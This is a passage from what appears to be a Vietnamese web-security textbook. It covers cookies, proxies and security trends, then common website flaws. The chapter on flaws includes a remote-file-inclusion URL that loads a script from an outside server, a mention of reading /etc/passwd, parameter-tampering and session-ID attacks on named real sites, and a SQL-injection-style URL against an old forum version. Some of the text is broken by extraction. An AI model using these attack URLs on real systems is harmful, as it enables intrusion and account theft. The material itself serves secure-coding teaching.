dẫnCác cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường
dẫn
là: C:\Program Files\Netscape\Users\UserName\Cookies.tx
-Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và
được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000), đối
với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies.
-Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là 20
cookie.
Cookie bị hủy ngay khi đóng trình duyệt gọi là “ session cookie ”.
• Bạn cần biết về cài đặt cookie vì cookie có thể cho phép các trang web theo
dõi điều hướng của bạn khi bạn truy cập vào các trang web đó.

1.6.5. PROXY
Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặt
biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host.

18


Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay
thế cho server thật sự mà người sử dụng cần giao tiếp.
Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay
không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật
thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng
như trả lờicủa
server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và
client.


1.7.

xu huong bao mật.

Thời gian qua, các website Việt Nam bị hack mà báo chí đưa tin đều bị hack với hình
thức thay đổi giao diện web (deface). Hình thức này thường không gây tổn thất trực tiếp
về tài chính. Mặc dù vậy, các doanh nghiệp (DN) có trang web đã bị tấn công deface cần
thận trọng với vấn đề an ninh trên website của họ. Họ cần tiến hành đánh giá nghiêm túc
sự cố đã xảy ra nhằm xác định chính xác mức độ xâm nhập và xác định những phần mềm
(PM) bị ảnh hưởng.
Xu hướng an ninh bảo mật tại các nước phát triển rất khác với Việt Nam. Hiện nay,
những hacker trên thế giới đang hình thành những nhóm hoạt động tinh vi và có động cơ
chiếm đoạt tài chính bằng cách xâm nhập vào website của DN để đánh cắp các thông tin
nhạy cảm như: thông tin thẻ tín dụng, tài khoản ngân hàng, thông tin khách hàng hoặc
những tài sản trí tuệ. Tôi tin rằng hiện nay các ngân hàng (NH) và các công ty thuộc lĩnh
vực tài chính tại Việt Nam ngày càng phát triển, điều đó sẽ thu hút các nhóm hacker thế
giới.
Những hacker lão làng có động cơ xấu có thể xâm nhập vào hệ thống CNTT của công ty
qua ngõ web của công ty nếu nó được bảo mật yếu và từ đó họ có thể xâm nhập vào
những đường kết nối mạng khác nếu chúng có cấu hình kém. Những tấn công này thường
âm thầm (không ầm ĩ như những trường hợp deface trang web) nhưng gây tổn thất rất lớn
về tài chính. Do những tấn công dạng này thường âm thầm, nên các DN không thể chủ
quan rằng họ chưa bị hacker viếng thăm vì trang web của họ không bị defaced. Những
tấn công nguy hiểm nhất chính là những xâm nhập không để lại dấu vết rõ ràng cho nạn
nhân nhận biết là mình đã bị xâm nhập. Nhóm DN NH và tài chính là những mục tiêu
chính của những kiểu tấn công này.
Xu hướng bảo mật mới
Các bạn có thể nghĩ xem, tổn thất sẽ là bao nhiêu nếu hacker xâm nhập vào hệ thống
mạng nội bộ của DN (đặc biệt là NH) mà không bị phát hiện và ngăn chặn kịp thời?

Những tấn công này chỉ có thể được phát hiện (và phòng tránh) khi DN có hệ thống quản
lý an ninh thông tin toàn diện và nghiêm ngặt, kết hợp với thiết bị an ninh phù hợp cùng
với quy trình và nhóm nhân viên phụ trách an ninh thông tin được đào tạo nghiêm túc.
Những tấn công nguy hiểm nhất chính
19


là những xâm nhập không để lại dấu
vết rõ ràng cho nạn nhân nhận biết là
mình đã bị xâm nhập.
Theo quan sát của tôi, hầu hết DN chỉ chú trọng đầu tư về các công nghệ bảo mật như
tường lửa và anti-virus. Như đã nhắc đến ở trên, để đạt được an ninh tốt trong DN, cần
phải kết hợp giữa công nghệ, quy trình và con người. Chỉ riêng công nghệ không thể
cung cấp cho ta mức độ an ninh thỏa mãn trong môi trường toàn cầu hiện nay. Hãy xem
ví dụ về thiết bị phát hiện xâm nhập (IDS) và thiết bị phòng chống xâm nhập (IPS).
Những thiết bị này sẽ không mang lại hiệu quả tốt trừ phi chúng được cấu hình thích
đáng và có quy trình theo dõi phù hợp. Chính vì thế, ban lãnh đạo cần có nhận thức đúng
về những rủi ro và mối đe dọa an ninh thông tin và phân bổ tài nguyên phù hợp (đào tạo
về con người và chi phí cho thiết bị) để tích hợp những quy trình an ninh tại DN của
mình.
Trong kỷ nguyên Internet hiện nay, cần phải quan tâm nhiều hơn đến phát triển ứng dụng
web theo cách thức bảo mật. Điều này có thể đạt được thông qua vòng đời phát triển PM
theo cách thức bảo mật (Secure Software Development Life-Cycle). Theo đó, yêu cầu về
an ninh thông tin được xác định ngay từ đầu và những lập trình viên phải được đào tạo về
lập trình bảo mật. Tích hợp tính năng an ninh ngay từ giai đoạn phát triển sẽ tiết kiệm chi
phí của sản phẩm PM. Hãy lấy xe ôtô làm ví dụ sản xuất xe ô tô gắn sẵn túi khí an toàn sẽ
an toàn và chi phí thấp hơn là sản xuất hoàn tất chiếc xe xong rồi mới gắn túi khí sau. An
ninh không còn là một tùy chọn của các lập trình viên và thiết kế PM, mà nó bắt buộc
phải được kết hợp vào trong thiết kế và mô tả kỹ thuật của PM ứng dụng ngay từ lúc bắt
đầu.


CHƯƠNG 2 : CÁC LỖI BẢO MẬT WEBSITE HIỆN NAY.

Ngày nay, sự đe dọa lớn nhất đối với an ninh của các mạng máy tính của các tổ chức lại đến từ chính các
Website công cộng và các ứng dụng đặt ở trên các web của họ. Không giống như các dịch vụ dùng trong
mạng cục bộ như là các cơ sở dữ liệu có thể ngăn cản sự truy cập từ bên ngoài thông qua firewalls, thì mọi
người đều có thể truy cập vào một trang web công cộng,khiến cho các ứng dụng bảo mật gặp nhiều vấn
đề. Khi mà các hệ thống mạng đang trở nên kiên cố hơn, các file có khả năng bảo mật thấp trong các ứng
dụng web càng thu hút được sự chú ý của các hacker, bao gồm cả những người chỉ muốn tiêu khiển và cả
những tên trộm, những kẻ luôn có các công nghệ đủ để khai thác các lỗ hổng đó. Việc tấn công này có thể
gây các nguy hại đến cho các hệ thống mạng.
Đã có một vài phần mềm và một số người phát triển được đào tạo để tạo ra các phần mềm bảo mật hay
thiết kế các ứng dụng web có khả năng tự bảo vệ cao. Bằng cách "baking in" an ninh của các ứng dụng
ngay từ đầu quá trình phát triển thay cho "brush it on" sau khi đã hoàn thành, bạn sẽ dễ dàng tạo ra các
ứng dụng bảo mật có thể chống lại sự tấn công của hackers. Tuy nhiên, ngay cả những mã nguồn bảo mật
được viết tỉ mỷ nhất trên C# hay VB.NET vẫn có thể bị nguy hại nếu bạn không quan tâm đến các file cấu
hình trong Web.config của ứng dụng. Các ứng dụng mạng cơ bản được cấu hình không hợp lý có thể bị
nguy hiểm giống như được code không chính xác. Các vấn đề còn tồi tệ hơn, khi mà nhiều thiết lập cấu
hình hiện nay thường để default và khi đó các giá trị thường là không an toàn.
Ở đây chúng ta sẽ nói về những lỗi hay tồi tệ nhất trong file cấu hình có thể gây hại đến cho các ứng dụng
của chúng ta.

20


2.1. Lỗi trong xử lý Files
•Lỗi trong xử lý file chúng ta thường gặp trong lập trình PHP, ASP , CGI , v…v…
•Lỗi này gây ra do lập trình viên đã sơ ý trong việc sử dụng các hàm xử lý file như :
include(),require(),require_one(),fopen(), Execute , v…v….
•Các hacker có thể sử dụng lỗi này để xâm nhập vào các server để ăn cắp thông tin ,

deface v..v… và còn có thể cướp quyền quản lý server…
•Đây là lỗi khá nghiêm trọng vì vậy khi lập trình chúng ta phải cẩn thận để không mắc lỗi
này.
• Trong PHP , một số hàm như include , require , v…v… cho phép hacker có thể chạy
script ở một server khác ( remote files ) để tấn công trực tiếp vào website hoặc server của
bạn.
Lỗi trong xử lý Files
Ví dụ :
Trong IBF 1.1 bị lỗi xử lý file ở ad_member.php
===== ad_member.php =====
global $IN, $root_path, $INFO, $DB, $SKIN, $ADMIN, $std, $MEMBER, $GROUP,
$ibforums;
require $root_path."sources/lib/post_parser.php";
$parser = new post_parser();
if ($IN['MEMBER_ID'] == "")
{
$ADMIN->error("Could not resolve member id");
}
=====================
Lỗi trong xử lý Files
Hacker có thể tấn công vào như sau: />IN[code]=doform&root_path=http://myserver/

Hacker có thể chạy script PHP nằm trong file sources/lib/post_parser.php trên
http://myserver (remote server) . Script trong file này có thể là script backdoor, chiếm
quyền admin , leo thang chiếm server , deface v..v…
• Ngoài ra, Hacker còn có thể tận dụng các lỗi trong việc xử lý file để có thể đọc source
hoặc đọc các file hệ thống.
Ví dụ : Hacker có thể đọc source của trang web : chỉ bằng một cách
rất đơn giản là gõ URL: />===== index.php =====
21



include "../functions/basicfc.php";
include "../functions/poster.php";
site_header("Hacking Credit Card");
show_poster("post","ccpost");
show_poster("lib","cclib");
hit_counter("cc.cnt");
site_footer();
?>
=================
Lỗi này do người lập trình Web đã xử lý không cẩn thận những tham số của hàm
fopen(…),… tạo điều kiện cho hacker có thể xem source v..v…
Không những thế hacker còn có thể sử dụng các lỗi này để đọc các file quan trọng của
server như /etc/passwd , /etc/domainalias …
Các lỗi về file như thế này đặc biệt nguy hiểm đối với các server bảo mật lỏng lẻo.
•Những lỗi trong xử lý file này không những chỉ trên PHP mà còn lỗi trên CGI, ASP , …
•Example: (Chưa hoàn thành xong phần)
•Lỗi này là một trong những lỗi cơ bản nhưng nó đã gây ra không ít những khó khăn ,
thiệt hại cho các chủ Website, server v...v…
•Tại Việt Nam , đã có rất nhiều server , website bị hack bởi lỗi này. Điển hình như:
www.fptnet.com.vn
www.hcm.fpt.vn
www.pavietnam.com

v..v…
Hiện nay, các lập trình viên đã chú trọng hơn đến lỗi này, vì vậy các trang web của
Việt Nam rất ít khi gặp lỗi này . Đây là một tín hiệu mừng cho bảo mật Việt Nam.Lỗi
trong khai báo biến và xử lý biến là vô cùng nguy hiểm cho các Website .
•Lỗi này do người viết code không chú ý hay có thể do sai sót trong việc khai báo hoặc

xử lý biến mà các hacker có thể lợi dụng để tấn công
•Rất nhiều Website : Shoping Cart , Mua bán Domain ,…. bị mắc lỗi này trong 1 số khâu
quan trọng mà các hacker có thể lợi dụng để gian lận tiền bạc trong giao dịch hay mua
bán bất hợp pháp , ……
Thiệt hại do việc tấn công sẽ không nhỏ và còn làm mất uy tín của người lập trình viên.
Chúng ta sẽ phân tích một số lỗi để thấy được sự nguy hiểm của lỗi này (tất cả các lỗi nêu
ra đều đã được fix)
22


2.2. Lỗi trong khai báo và xử lý biến .
www.truongthi.com.vn:

Bạn có thể access dễ dàng vào Control panel của trang Web trường thi mà trong đó chứa
rất nhiều thông tin về account ( 1260, prepaid) , thông tin về Card Trường thi chỉ bằng
cách gõ URL:
Lỗi trong khai báo và xử lý biến
www.truongthi.com.vn/Admin/login.asp?uid=1

Sở dĩ có lỗi trên là do trường thi đã không cẩn thận trong check biến uid để Hacker dễ
dàng thâm nhập vào Admin Control Panel.
www.registerfly.com:

Registerfly là một web site lớn để đăng kí domain nhưng vừa rồi lỗi
biến push domain. Dựa vào lỗi này Các hacker có thể chuyển toàn bộ n domain của 1 tài
khoản này sang tài khoản khác 1 cách bất hợp pháp . Nguyên nhân do cơ chế Push
Domain cửa registerfly . Khi push domain từ tài khoản của mình sang tài khoản của
người khác trên adress url : push.php?push=0 .
•Biến push=0 nghĩa là chuyển domain của mình sang người khác , vì registerfly sơ xuất
các hacker đã thay đổi giá trị push=1 trên Url ngẫu nhiên chuyển ngược lại domain của

người khác sang tài khoản của mình , đây là biến push do registerfly định nghĩa 1 cách
chưa cẩn thận , cho phép các tài khoản khác thay đổi giá trị biến mà không được phép .
2.3. Lỗi Session trong enom và register :Đây là lỗi tương đối nguy hiểm khi ngườI viết
code không chú ý đến biến cần xét hoặc không mã hóa session id cho 1 member dẫn đến
có thể access vào user qua secssion id .
Ví dụ : trong 1 trang thông tin : các thành viên được xác đinh bằng session id , khi 1
người sửa thông tin về mình trên address: .Người đó sửa
id=54 lập tức sang sửa được Information của người khác . Nguyên nhân là do người viết
code chỉ chú ý đến thành viên đó có id=43 chứ chưa quan tâm đến các yếu tố khác như
username.
Thậm chí mặc dù id được mã hoá md5 : />id=432hjhfjsd87fs5435fgg4545. Các hacker có thể đoán được số id rồi mà hoá md5 id đó để
có thể tấn công lên .
www.enom.com : Bug secssion id cho phép access từ tài khoản
ngườI khác . www.ttvnonline.com cũng bị hack theo cách này .
www.register.com: Công

domain của mình sang của

ty idefense đã công bố lỗi forgot password : Các hacker có thể
access để thay đổi pass của username đăng kí tại register.com thông qua session
ID.Hacker có thể buter force để lấy được session Id.

23


•Ibf forum 1.2 RC 1 : Hiện nay phiên bản mới nhất của Ibf là 1.2 RC 2 nhưng phiên bản
1.2 RC 1 vẫn rất nhiều người sử dụng. Ở phiên bản này , Hacker có thể dễ dàng đột nhập
vào cơ sở dữ liệu lấy password của Admin ( Mặc dù đã được mã hoá nhưng vẫn có thể sử
dụng được - Cướp quyền Admin )
Hacker chỉ cần gõ URL:

Hacker chỉ cần gõ URL:
victim.com/index.php?act=member&name=%2527....
Sở dĩ có lỗi như trên vì trong file:
Mã PHP
===== memberlist.php =====
[left]$ibforums->input['name'] = $std>clean_value(trim(urldecode(stripslashes($ibforums->input['name']))));
if ($ibforums->input['name'] == "")
{
$ibforums->input['name_box'] = 'all';
}
=====================[/left]

Trước khi được xử lý biến $ibforums->input[‘name’] có giá trị là %27….Sau khi xử lý
biến này có giá trị là ‘… Hacker lợi dụng lỗi này để tấn công và lấy password admin
•Đây là một lỗi rất nguy hiểm.
•Rất nhiều Website của Việt Nam bị lỗi này như:

Thông tin
/> /> /> /> /> />v…v…

Các biến toàn cục(Global Variables)
Biến là một phần của ngôn ngữ lập trình. Trong PHP, bạn có thể sử dụng register_globals
trong file php.ini để khởi tạo các biến toàn cục – những biến mà bạn không cần phải tạo
ra nó một cách rõ ràng.
Hãy cùng xem xét đoạn mã dưới đây:

24


?


[Copy to clipboard]View Code PHP

1
2
3
4
5
6
7

if ($password == "my_password") {
$authorized = 1;
}
if ($authorized == 1) {
echo "Lots of important stuff.";

}

Đoạn mã trên nhìn có vẻ ổn và trên thực tế là nó sẽ hoạt động tốt, không phát sinh lỗi bảo
mật gì trong trường hợp bình thường. Tuy nhiên, nếu máy chủ được cấp quyền
register_globals = on và một chuỗi ?authorized=1 được đặt trên URL thì nó lại là
chuyện khác
Trong trường hợp này, biến $authorized lúc này sẽ có giá trị 1 và cho
phép bất kì ai sử dụng đoạn URL này vượt và hàng rào mật khẩu và truy cập vào khu vực
cần sử dụng mật khẩu.
Lỗi này khá phổ biến trong các ứng dụng lập trình bằng PHP.
May mắn thay, việc khắc phục lỗi này khá đơn giản. Đầu tiên, việc bạn có thể làm là tắt
register_globals đi và khởi tạo một cách chính xác giá trị cho biến $authorized bằng cách
thêm $authorized = 0 vào đầu đoạn mã như sau:

?

[Copy to clipboard]View Code PHP

1
2
3
4
5
6
7
8
9

$authorized = 0;
if ($password == "my_password") {
$authorized = 1;
}
if ($authorized == 1) {
echo "Lots of important stuff.";
}

Error Messages
Error Messages có thể nói là công cụ khá hữu ích cả cho người lập trình viên lẫn cho
hacker. Đối với lập trình viên, Error Messages giúp phát hiện các lỗi và sửa lỗi dễ dàng.
Còn đối với hacker, nó là phần nội dung có thể dùng khai thác các thông tin liên quan đến
hệ thống, các thông tin từ cây thư mục, thông tin kết nối database, thông tin user đến
thông tin password…
Cách tốt nhất để bảo mật là bạn nên tắt Error Messages khi cho website chạy trực tuyến
bằng cách thiết lập error_reporting về 0 trong file php.ini hoặc bằng .htaccess. Nếu bạn

đang thực hiện việc xây dựng website bạn có thể thay đổi giá trị này để việc kiểm tra các
lỗi dễ dàng hơn.

25


×